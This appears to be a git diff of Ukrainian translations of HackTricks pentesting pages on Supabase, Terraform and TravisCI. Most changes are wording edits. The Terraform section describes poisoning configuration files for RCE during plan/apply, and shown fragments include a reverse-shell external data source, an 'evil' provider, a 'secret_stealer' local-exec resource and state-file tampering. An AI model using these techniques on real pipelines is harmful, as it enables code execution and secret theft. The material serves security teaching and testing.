**JWT Secret** також буде згенеровано, щоб додаток міг **створювати та підписувати користувацькі JWT токени**.
|
||||
**JWT Secret** також буде згенеровано, щоб програма могла **створювати та підписувати користувацькі JWT токени**.
|
||||
|
||||
## Аутентифікація
|
||||
|
||||
@@ -118,14 +118,14 @@ API ключ виглядає так: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJp
|
||||
> [!TIP]
|
||||
> За **замовчуванням** supabase дозволить **новим користувачам створювати облікові записи** у вашому проекті, використовуючи раніше згадані API кінцеві точки.
|
||||
|
||||
Однак ці нові облікові записи, за замовчуванням, **потрібно буде підтвердити свою електронну адресу**, щоб мати можливість увійти в обліковий запис. Можливо, активувати **"Дозволити анонімні входи"**, щоб дозволити людям входити без підтвердження своєї електронної адреси. Це може надати доступ до **неочікуваних даних** (вони отримують ролі `public` та `authenticated`).\
|
||||
Це дуже погана ідея, оскільки supabase стягує плату за активного користувача, тому люди можуть створювати користувачів і входити, і supabase стягне плату за них:
|
||||
Однак ці нові облікові записи за замовчуванням **потрібно буде підтвердити свою електронну адресу**, щоб мати можливість увійти в обліковий запис. Можна активувати **"Дозволити анонімні входи"**, щоб дозволити людям входити без підтвердження своєї електронної адреси. Це може надати доступ до **неочікуваних даних** (вони отримують ролі `public` та `authenticated`).\
|
||||
Це дуже погана ідея, оскільки supabase стягує плату за активного користувача, тому люди можуть створювати користувачів і входити, а supabase стягне плату за них:
|
||||
|
||||
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Паролі та сесії
|
||||
|
||||
Можна вказати мінімальну довжину пароля (за замовчуванням), вимоги (немає за замовчуванням) та заборонити використання зламаних паролів.\
|
||||
Можна вказати мінімальну довжину пароля (за замовчуванням), вимоги (за замовчуванням немає) та заборонити використання зламаних паролів.\
|
||||
Рекомендується **покращити вимоги, оскільки стандартні є слабкими**.
|
||||
|
||||
- Сесії користувачів: Можна налаштувати, як працюють сесії користувачів (тайм-аути, 1 сесія на користувача...)
|
||||
@@ -139,16 +139,16 @@ API ключ виглядає так: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJp
|
||||
|
||||
- Встановити час закінчення терміну дії токенів доступу (3600 за замовчуванням)
|
||||
- Встановити виявлення та відкликання потенційно скомпрометованих токенів оновлення та тайм-аут
|
||||
- MFA: Вказати, скільки факторів MFA можна зареєструвати одночасно для кожного користувача (10 за замовчуванням)
|
||||
- MFA: Вказати, скільки факторів MFA можна зареєструвати одночасно на одного користувача (10 за замовчуванням)
|
||||
- Максимальна кількість прямих з'єднань з базою даних: Максимальна кількість з'єднань, що використовуються для аутентифікації (10 за замовчуванням)
|
||||
- Максимальна тривалість запиту: Максимальний час, дозволений для запиту аутентифікації (10 с за замовчуванням)
|
||||
- Максимальна тривалість запиту: Максимальний час, дозволений для запиту Auth (10 с за замовчуванням)
|
||||
|
||||
## Сховище
|
||||
|
||||
> [!TIP]
|
||||
> Supabase дозволяє **зберігати файли** та робити їх доступними через URL (використовує S3 контейнери).
|
||||
|
||||
- Встановити обмеження на розмір файлу для завантаження (за замовчуванням 50 МБ)
|
||||
- Встановити обмеження на розмір завантажуваного файлу (за замовчуванням 50 МБ)
|
||||
- З'єднання S3 надається з URL, як: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- Можна **запросити S3 ключ доступу**, який складається з `access key ID` (наприклад, `a37d96544d82ba90057e0e06131d0a7b`) та `secret access key` (наприклад, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
|
||||
|
||||
|
||||
@@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
[З документації:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform — це **інструмент інфраструктури як коду**, який дозволяє вам визначати як **хмарні, так і локальні ресурси** у зрозумілих конфігураційних файлах, які ви можете версувати, повторно використовувати та ділитися. Потім ви можете використовувати послідовний робочий процес для розгортання та управління всією вашою інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як обчислення, зберігання та мережеві ресурси, а також високорівневими компонентами, такими як DNS-записи та функції SaaS.
|
||||
HashiCorp Terraform - це **інструмент інфраструктури як код**, який дозволяє вам визначати як **хмарні, так і локальні ресурси** у конфігураційних файлах, що читаються людиною, які ви можете версіювати, повторно використовувати та ділитися. Потім ви можете використовувати послідовний робочий процес для розгортання та управління всією вашою інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як обчислення, зберігання та мережеві ресурси, а також високорівневими компонентами, такими як записи DNS та функції SaaS.
|
||||
|
||||
#### Як працює Terraform?
|
||||
|
||||
@@ -20,23 +20,23 @@ HashiCorp та спільнота Terraform вже написали **більш
|
||||
|
||||
- **Написати:** Ви визначаєте ресурси, які можуть бути на кількох хмарних провайдерах та сервісах. Наприклад, ви можете створити конфігурацію для розгортання програми на віртуальних машинах у мережі Virtual Private Cloud (VPC) з групами безпеки та балансувальником навантаження.
|
||||
- **План:** Terraform створює план виконання, що описує інфраструктуру, яку він створить, оновить або знищить на основі існуючої інфраструктури та вашої конфігурації.
|
||||
- **Застосувати:** Після затвердження Terraform виконує запропоновані операції в правильному порядку, враховуючи будь-які залежності ресурсів. Наприклад, якщо ви оновлюєте властивості VPC і змінюєте кількість віртуальних машин у цьому VPC, Terraform спочатку відтворить VPC, перш ніж масштабувати віртуальні машини.
|
||||
- **Застосувати:** Після затвердження Terraform виконує запропоновані операції в правильному порядку, дотримуючись будь-яких залежностей ресурсів. Наприклад, якщо ви оновлюєте властивості VPC і змінюєте кількість віртуальних машин у цьому VPC, Terraform спочатку відтворить VPC, перш ніж масштабувати віртуальні машини.
|
||||
|
||||
.png>)
|
||||
|
||||
### Terraform Lab
|
||||
### Лабораторія Terraform
|
||||
|
||||
Просто встановіть terraform на вашому комп'ютері.
|
||||
Просто встановіть terraform на свій комп'ютер.
|
||||
|
||||
Ось у вас є [посібник](https://learn.hashicorp.com/tutorials/terraform/install-cli), а ось у вас є [найкращий спосіб завантажити terraform](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE in Terraform
|
||||
## RCE в Terraform
|
||||
|
||||
Terraform **не має платформи, що відкриває веб-сторінку або мережевий сервіс**, який ми можемо перерахувати, тому єдиний спосіб скомпрометувати terraform — це **мати можливість додавати/модифікувати конфігураційні файли terraform**.
|
||||
Terraform **не має платформи, що відкриває веб-сторінку або мережевий сервіс**, який ми можемо перерахувати, тому єдиний спосіб скомпрометувати terraform - це **мати можливість додавати/модифікувати конфігураційні файли terraform**.
|
||||
|
||||
Однак terraform є **дуже чутливим компонентом** для компрометації, оскільки він матиме **привілейований доступ** до різних місць, щоб працювати належним чином.
|
||||
|
||||
Основний спосіб для зловмисника скомпрометувати систему, на якій працює terraform, — це **скомпрометувати репозиторій, що зберігає конфігурації terraform**, оскільки в якийсь момент вони будуть **інтерпретовані**.
|
||||
Основний спосіб для зловмисника скомпрометувати систему, на якій працює terraform, - це **скомпрометувати репозиторій, що зберігає конфігурації terraform**, оскільки в якийсь момент вони будуть **інтерпретовані**.
|
||||
|
||||
Насправді існують рішення, які **автоматично виконують terraform plan/apply після створення PR**, такі як **Atlantis**:
|
||||
|
||||
@@ -48,11 +48,11 @@ atlantis-security.md
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Terraform plan — це **найбільш використовувана команда** в terraform, і розробники/рішення, що використовують terraform, викликають її постійно, тому **найпростіший спосіб отримати RCE** — це переконатися, що ви отруїли конфігураційний файл terraform, який виконає довільні команди в `terraform plan`.
|
||||
Terraform plan - це **найбільш використовувана команда** в terraform, і розробники/рішення, що використовують terraform, викликають її постійно, тому **найпростіший спосіб отримати RCE** - це переконатися, що ви отруїли конфігураційний файл terraform, який виконає довільні команди в `terraform plan`.
|
||||
|
||||
**Використання зовнішнього провайдера**
|
||||
|
||||
Terraform пропонує [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), який забезпечує спосіб взаємодії між Terraform та зовнішніми програмами. Ви можете використовувати джерело даних `external`, щоб виконати довільний код під час `plan`.
|
||||
Terraform пропонує [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), який забезпечує спосіб взаємодії між Terraform та зовнішніми програмами. Ви можете використовувати джерело даних `external`, щоб виконувати довільний код під час `plan`.
|
||||
|
||||
Впровадження в конфігураційний файл terraform чогось на зразок наступного виконає rev shell під час виконання `terraform plan`:
|
||||
```javascript
|
||||
@@ -75,9 +75,9 @@ version = "1.0"
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
Провайдер завантажується в `init` і запустить шкідливий код, коли буде виконано `plan`
|
||||
Провайдер завантажується в `init` і виконає шкідливий код, коли буде виконано `plan`
|
||||
|
||||
Ви можете знайти приклад за посиланням [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
Ви можете знайти приклад у [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
**Використання зовнішнього посилання**
|
||||
|
||||
@@ -96,7 +96,7 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
|
||||
### Terraform Apply
|
||||
|
||||
Terraform apply буде виконано для застосування всіх змін, ви також можете зловживати цим, щоб отримати RCE, інжектуючи **зловмисний Terraform файл з** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Вам просто потрібно переконатися, що якийсь payload, подібний до наведених нижче, закінчує у файлі `main.tf`:
|
||||
Вам просто потрібно переконатися, що якийсь payload, наприклад, наступні, закінчується у файлі `main.tf`:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
@@ -124,7 +124,7 @@ value = nonsensitive(var.do_token)
|
||||
```
|
||||
## Зловживання файлами стану Terraform
|
||||
|
||||
У випадку, якщо у вас є доступ на запис до файлів стану terraform, але ви не можете змінити код terraform, [**це дослідження**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) пропонує кілька цікавих варіантів, щоб скористатися файлом:
|
||||
У випадку, якщо у вас є доступ на запис до файлів стану terraform, але ви не можете змінити код terraform, [**це дослідження**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) пропонує кілька цікавих варіантів використання файлу:
|
||||
|
||||
### Видалення ресурсів <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
@@ -132,7 +132,7 @@ value = nonsensitive(var.do_token)
|
||||
|
||||
1. **Вставити ресурс з випадковою назвою у файл стану, що вказує на реальний ресурс для знищення**
|
||||
|
||||
Оскільки terraform побачить, що ресурс не повинен існувати, він його знищить (слідуючи за реальним ідентифікатором ресурсу, що вказаний). Приклад з попередньої сторінки:
|
||||
Оскільки terraform побачить, що ресурс не повинен існувати, він його знищить (слідуючи за реальним ідентифікатором ресурсу). Приклад з попередньої сторінки:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -150,11 +150,11 @@ value = nonsensitive(var.do_token)
|
||||
```
|
||||
2. **Змініть ресурс для видалення таким чином, щоб його не можна було оновити (щоб його видалили і відтворили)**
|
||||
|
||||
Для EC2 інстансу, зміна типу інстансу є достатньою для того, щоб terraform видалив і відтворив його.
|
||||
Для EC2 інстансу зміна типу інстансу є достатньою, щоб terraform видалив і відтворив його.
|
||||
|
||||
### RCE
|
||||
|
||||
Також можливо [створити власного провайдера](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) і просто замінити одного з провайдерів у файлі стану terraform на шкідливий або додати порожній ресурс з шкідливим провайдером. Приклад з оригінального дослідження:
|
||||
Також можливо [створити власний провайдер](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) і просто замінити одного з провайдерів у файлі стану terraform на шкідливий або додати порожній ресурс з шкідливим провайдером. Приклад з оригінального дослідження:
|
||||
```json
|
||||
"resources": [
|
||||
{
|
||||
@@ -186,18 +186,18 @@ data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
## Automatic Audit Tools
|
||||
## Автоматизовані інструменти аудиту
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk пропонує всебічне рішення для сканування Infrastructure as Code (IaC), яке виявляє вразливості та неправильні налаштування в Terraform, CloudFormation, Kubernetes та інших форматах IaC.
|
||||
|
||||
- **Features:**
|
||||
- **Особливості:**
|
||||
- Сканування в реальному часі для вразливостей безпеки та проблем з відповідністю.
|
||||
- Інтеграція з системами контролю версій (GitHub, GitLab, Bitbucket).
|
||||
- Автоматизовані запити на виправлення.
|
||||
- Докладні рекомендації щодо усунення.
|
||||
- **Sign Up:** Створіть обліковий запис на [Snyk](https://snyk.io/).
|
||||
- **Реєстрація:** Створіть обліковий запис на [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
brew install snyk
|
||||
@@ -208,23 +208,23 @@ snyk iac test /path/to/terraform/code
|
||||
|
||||
**Checkov** - це інструмент статичного аналізу коду для інфраструктури як коду (IaC), а також інструмент аналізу складу програмного забезпечення (SCA) для зображень та відкритих пакетів.
|
||||
|
||||
Він сканує хмарну інфраструктуру, що надається за допомогою [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) або [OpenTofu](https://opentofu.org/) і виявляє проблеми з безпекою та відповідністю за допомогою графового сканування.
|
||||
Він сканує хмарну інфраструктуру, що надається за допомогою [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) або [OpenTofu](https://opentofu.org/) і виявляє проблеми з безпекою та відповідністю за допомогою сканування на основі графів.
|
||||
|
||||
Він виконує [аналіз складу програмного забезпечення (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), що є скануванням відкритих пакетів та зображень на наявність загальних вразливостей та експозицій (CVE).
|
||||
Він виконує [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), що є скануванням відкритих пакетів та зображень на наявність загальних вразливостей та експозицій (CVE).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
З [**документації**](https://github.com/terraform-compliance/cli): `terraform-compliance` - це легка, орієнтована на безпеку та відповідність тестова рамка для terraform, що дозволяє здійснювати негативне тестування вашої інфраструктури як коду.
|
||||
З [**документації**](https://github.com/terraform-compliance/cli): `terraform-compliance` - це легка, орієнтована на безпеку та відповідність тестова рамка для terraform, що дозволяє здійснювати негативне тестування для вашої інфраструктури як коду.
|
||||
|
||||
- **відповідність:** Переконайтеся, що реалізований код відповідає стандартам безпеки, вашим власним стандартам
|
||||
- **розробка, орієнтована на поведінку:** У нас є BDD практично для всього, чому б не для IaC?
|
||||
- **портативність:** просто встановіть його з `pip` або запустіть через `docker`. Дивіться [Встановлення](https://terraform-compliance.com/pages/installation/)
|
||||
- **попереднє розгортання:** він перевіряє ваш код перед його розгортанням
|
||||
- **легкість інтеграції:** він може працювати у вашому конвеєрі (або в git hooks), щоб забезпечити перевірку всіх розгортань.
|
||||
- **сегрегація обов'язків:** ви можете зберігати свої тести в іншому репозиторії, де окрема команда відповідає за них.
|
||||
- **compliance:** Переконайтеся, що реалізований код відповідає стандартам безпеки, вашим власним стандартам
|
||||
- **behaviour driven development:** У нас є BDD практично для всього, чому б не для IaC?
|
||||
- **portable:** просто встановіть його з `pip` або запустіть через `docker`. Дивіться [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** він перевіряє ваш код перед його розгортанням
|
||||
- **easy to integrate:** він може працювати у вашому конвеєрі (або в git hooks), щоб забезпечити перевірку всіх розгортань.
|
||||
- **segregation of duty:** ви можете зберігати свої тести в іншому репозиторії, де окрема команда відповідає за них.
|
||||
|
||||
> [!NOTE]
|
||||
> На жаль, якщо код використовує деякі провайдери, до яких у вас немає доступу, ви не зможете виконати `terraform plan` і запустити цей інструмент.
|
||||
@@ -237,12 +237,12 @@ terraform-compliance -f /path/to/folder
|
||||
|
||||
З [**документації**](https://github.com/aquasecurity/tfsec): tfsec використовує статичний аналіз вашого коду terraform для виявлення потенційних неправильних налаштувань.
|
||||
|
||||
- ☁️ Перевіряє неправильні налаштування у всіх основних (і деяких незначних) постачальників хмарних послуг
|
||||
- ☁️ Перевіряє неправильні налаштування у всіх основних (і деяких незначних) хмарних провайдерів
|
||||
- ⛔ Сотні вбудованих правил
|
||||
- 🪆 Сканує модулі (локальні та віддалені)
|
||||
- ➕ Оцінює вирази HCL, а також літеральні значення
|
||||
- ➕ Оцінює HCL вирази, а також літеральні значення
|
||||
- ↪️ Оцінює функції Terraform, наприклад, `concat()`
|
||||
- 🔗 Оцінює взаємозв'язки між ресурсами Terraform
|
||||
- 🔗 Оцінює відносини між ресурсами Terraform
|
||||
- 🧰 Сумісний з Terraform CDK
|
||||
- 🙅 Застосовує (та прикрашає) визначені користувачем політики Rego
|
||||
- 📃 Підтримує кілька форматів виводу: lovely (за замовчуванням), JSON, SARIF, CSV, CheckStyle, JUnit, текст, Gif.
|
||||
@@ -254,15 +254,15 @@ tfsec /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Знайдіть вразливості безпеки, проблеми з відповідністю та неправильні конфігурації інфраструктури на ранніх етапах циклу розробки вашої інфраструктури як коду за допомогою **KICS** від Checkmarx.
|
||||
Знайдіть вразливості безпеки, проблеми з відповідністю та неправильні налаштування інфраструктури на ранніх етапах циклу розробки вашої інфраструктури як коду за допомогою **KICS** від Checkmarx.
|
||||
|
||||
**KICS** розшифровується як **K**eeping **I**nfrastructure as **C**ode **S**ecure, це програмне забезпечення з відкритим кодом і є обов'язковим для будь-якого проекту, орієнтованого на хмарні технології.
|
||||
**KICS** означає **K**eeping **I**nfrastructure as **C**ode **S**ecure, це відкритий код і є обов'язковим для будь-якого проекту, орієнтованого на хмарні технології.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
З [**документації**](https://github.com/tenable/terrascan): Terrascan - це статичний аналізатор коду для Інфраструктури як Код. Terrascan дозволяє вам:
|
||||
З [**документації**](https://github.com/tenable/terrascan): Terrascan - це статичний аналізатор коду для Інфраструктури як Коду. Terrascan дозволяє вам:
|
||||
|
||||
- Безперешкодно сканувати інфраструктуру як код на наявність неправильних налаштувань.
|
||||
- Моніторити надану хмарну інфраструктуру на предмет змін конфігурації, які можуть призвести до зміщення позиції, і дозволяє повернутися до безпечної позиції.
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Github PRs вітаються, які пояснюють, як (зловживати) цими платформами з точки зору атакуючого
|
||||
Запити на злиття Github вітаються, які пояснюють, як (зловживати) цими платформами з точки зору атакуючого
|
||||
|
||||
- Drone
|
||||
- TeamCity
|
||||
@@ -11,6 +11,6 @@ Github PRs вітаються, які пояснюють, як (зловжива
|
||||
- Rancher
|
||||
- Mesosphere
|
||||
- Radicle
|
||||
- Будь-яка інша CI/CD платформа...
|
||||
- Будь-яка інша платформа CI/CD...
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,19 +2,19 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is TravisCI
|
||||
## Що таке TravisCI
|
||||
|
||||
**Travis CI** - це **хостингова** або **локальна** служба **безперервної інтеграції**, що використовується для створення та тестування програмних проектів, розміщених на кількох **різних git платформах**.
|
||||
**Travis CI** - це **хостингова** або на **місці** служба **безперервної інтеграції**, яка використовується для створення та тестування програмних проектів, розміщених на кількох **різних git платформах**.
|
||||
|
||||
{{#ref}}
|
||||
basic-travisci-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Attacks
|
||||
## Атаки
|
||||
|
||||
### Triggers
|
||||
### Тригери
|
||||
|
||||
Щоб розпочати атаку, спочатку потрібно знати, як запустити збірку. За замовчуванням TravisCI **запускає збірку при пушах та пулл-запитах**:
|
||||
Щоб розпочати атаку, спочатку потрібно знати, як запустити збірку. За замовчуванням TravisCI **запускає збірку при пушах і запитах на злиття**:
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -27,15 +27,15 @@ basic-travisci-information.md
|
||||
> [!NOTE]
|
||||
> Схоже, що неможливо налаштувати cron всередині `.travis.yml` відповідно до [цього](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
|
||||
### Third Party PR
|
||||
### PR від третіх сторін
|
||||
|
||||
TravisCI за замовчуванням забороняє обмін змінними середовища з PR, що надходять від третіх сторін, але хтось може це увімкнути, і тоді ви зможете створювати PR до репозиторію та ексфільтрувати секрети:
|
||||
TravisCI за замовчуванням забороняє обмін змінними середовища з PR, що надходять від третіх сторін, але хтось може це увімкнути, і тоді ви зможете створити PR до репозиторію та ексфільтрувати секрети:
|
||||
|
||||
.png>)
|
||||
|
||||
### Dumping Secrets
|
||||
### Витік секретів
|
||||
|
||||
Як пояснено на сторінці [**основна інформація**](basic-travisci-information.md), існує 2 типи секретів. **Секрети змінних середовища** (які перераховані на веб-сторінці) та **кастомні зашифровані секрети**, які зберігаються всередині файлу `.travis.yml` у форматі base64 (зверніть увагу, що обидва, збережені в зашифрованому вигляді, в кінцевих машинах стануть змінними середовища).
|
||||
Як пояснено на сторінці [**основна інформація**](basic-travisci-information.md), існує 2 типи секретів. **Секрети змінних середовища** (які перераховані на веб-сторінці) та **кастомні зашифровані секрети**, які зберігаються в файлі `.travis.yml` у форматі base64 (зверніть увагу, що обидва, як зберігаються зашифрованими, в кінцевих машинах стануть змінними середовища).
|
||||
|
||||
- Щоб **перерахувати секрети**, налаштовані як **змінні середовища**, перейдіть до **налаштувань** **проекту** та перевірте список. Однак зверніть увагу, що всі змінні середовища проекту, встановлені тут, з'являться при запуску збірки.
|
||||
- Щоб перерахувати **кастомні зашифровані секрети**, найкраще, що ви можете зробити, це **перевірити файл `.travis.yml`**.
|
||||
@@ -50,14 +50,14 @@ TravisCI за замовчуванням забороняє обмін змін
|
||||
|
||||
### TravisCI Enterprise
|
||||
|
||||
Якщо зловмисник опиниться в середовищі, яке використовує **TravisCI enterprise** (більше інформації про те, що це таке, в [**основній інформації**](basic-travisci-information.md#travisci-enterprise)), він зможе **запускати збірки в Worker.** Це означає, що зловмисник зможе переміщатися по мережі до того сервера, з якого він зможе:
|
||||
Якщо зловмисник опиниться в середовищі, яке використовує **TravisCI enterprise** (більше інформації про те, що це таке, в [**основній інформації**](basic-travisci-information.md#travisci-enterprise)), він зможе **запускати збірки в Worker.** Це означає, що зловмисник зможе переміщатися по горизонталі до цього сервера, з якого він зможе:
|
||||
|
||||
- втекти на хост?
|
||||
- втекти до хоста?
|
||||
- скомпрометувати kubernetes?
|
||||
- скомпрометувати інші машини, що працюють в тій же мережі?
|
||||
- скомпрометувати нові облікові дані хмари?
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
|
||||
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
|
||||
|
||||
@@ -10,28 +10,28 @@ TravisCI безпосередньо інтегрується з різними g
|
||||
|
||||
- `user:email` (тільки для читання)
|
||||
- `read:org` (тільки для читання)
|
||||
- `repo`: Надає доступ на читання та запис до коду, статусів комітів, співпрацівників та статусів розгортання для публічних та приватних репозиторіїв і організацій.
|
||||
- `repo`: Надає доступ на читання та запис до коду, статусів комітів, співпрацівників та статусів розгортання для публічних і приватних репозиторіїв та організацій.
|
||||
|
||||
## Зашифровані секрети
|
||||
|
||||
### Змінні середовища
|
||||
|
||||
У TravisCI, як і в інших CI платформах, можливо **зберігати на рівні репозиторію секрети**, які будуть зберігатися в зашифрованому вигляді та **дешифруватися і передаватися в змінну середовища** машини, що виконує збірку.
|
||||
У TravisCI, як і в інших CI платформах, можливо **зберігати на рівні репозиторію секрети**, які будуть збережені в зашифрованому вигляді та **дешифруватимуться і передаватимуться в змінну середовища** машини, що виконує збірку.
|
||||
|
||||
.png>)
|
||||
|
||||
Можливо вказати **гілки, до яких секрети будуть доступні** (за замовчуванням всі) і також, чи повинен TravisCI **приховувати його значення**, якщо воно з'являється **в журналах** (за замовчуванням так).
|
||||
Можливо вказати **гілки, до яких секрети будуть доступні** (за замовчуванням всі) і також, чи **повинен TravisCI приховувати його значення**, якщо воно з'являється **в журналах** (за замовчуванням так).
|
||||
|
||||
### Користувацькі зашифровані секрети
|
||||
|
||||
Для **кожного репозиторію** TravisCI генерує **пару RSA ключів**, **зберігає** **приватний** ключ і робить **публічний ключ** репозиторію доступним для тих, хто має **доступ** до репозиторію.
|
||||
Для **кожного репозиторію** TravisCI генерує **пару RSA ключів**, **зберігає** **приватний** ключ і робить **публічний ключ репозиторію доступним** для тих, хто має **доступ** до репозиторію.
|
||||
|
||||
Ви можете отримати доступ до публічного ключа одного репозиторію за допомогою:
|
||||
```
|
||||
travis pubkey -r <owner>/<repo_name>
|
||||
travis pubkey -r carlospolop/t-ci-test
|
||||
```
|
||||
Тоді ви можете використовувати цю налаштування, щоб **шифрувати секрети та додавати їх до вашого `.travis.yaml`**. Секрети будуть **розшифровані, коли буде запущено збірку** і доступні в **змінних середовища**.
|
||||
Тоді ви можете використовувати цю налаштування для **шифрування секретів і додавання їх до вашого `.travis.yaml`**. Секрети будуть **розшифровані, коли буде запущено збірку** і доступні в **змінних середовища**.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -63,7 +63,7 @@ Commit all changes to your .travis.yml.
|
||||
|
||||
## TravisCI Enterprise
|
||||
|
||||
Travis CI Enterprise - це **локальна версія Travis CI**, яку ви можете розгорнути **у своїй інфраструктурі**. Думайте про ‘серверну’ версію Travis CI. Використання Travis CI дозволяє вам активувати просту у використанні систему безперервної інтеграції/безперервного розгортання (CI/CD) в середовищі, яке ви можете налаштувати та захистити на свій розсуд.
|
||||
Travis CI Enterprise - це **локальна версія Travis CI**, яку ви можете розгорнути **у своїй інфраструктурі**. Уявіть собі «серверну» версію Travis CI. Використання Travis CI дозволяє вам активувати просту у використанні систему безперервної інтеграції/безперервного розгортання (CI/CD) в середовищі, яке ви можете налаштувати та захистити на свій розсуд.
|
||||
|
||||
**Travis CI Enterprise складається з двох основних частин:**
|
||||
|
||||
@@ -73,7 +73,7 @@ Travis CI Enterprise - це **локальна версія Travis CI**, яку
|
||||
**TCI Core services вимагають наступного:**
|
||||
|
||||
1. **PostgreSQL11** (або новішу) базу даних.
|
||||
2. Інфраструктуру для розгортання кластера Kubernetes; його можна розгорнути в кластері серверів або на одній машині, якщо це необхідно.
|
||||
2. Інфраструктуру для розгортання кластера Kubernetes; його можна розгорнути в кластері серверів або на одному комп'ютері, якщо це необхідно.
|
||||
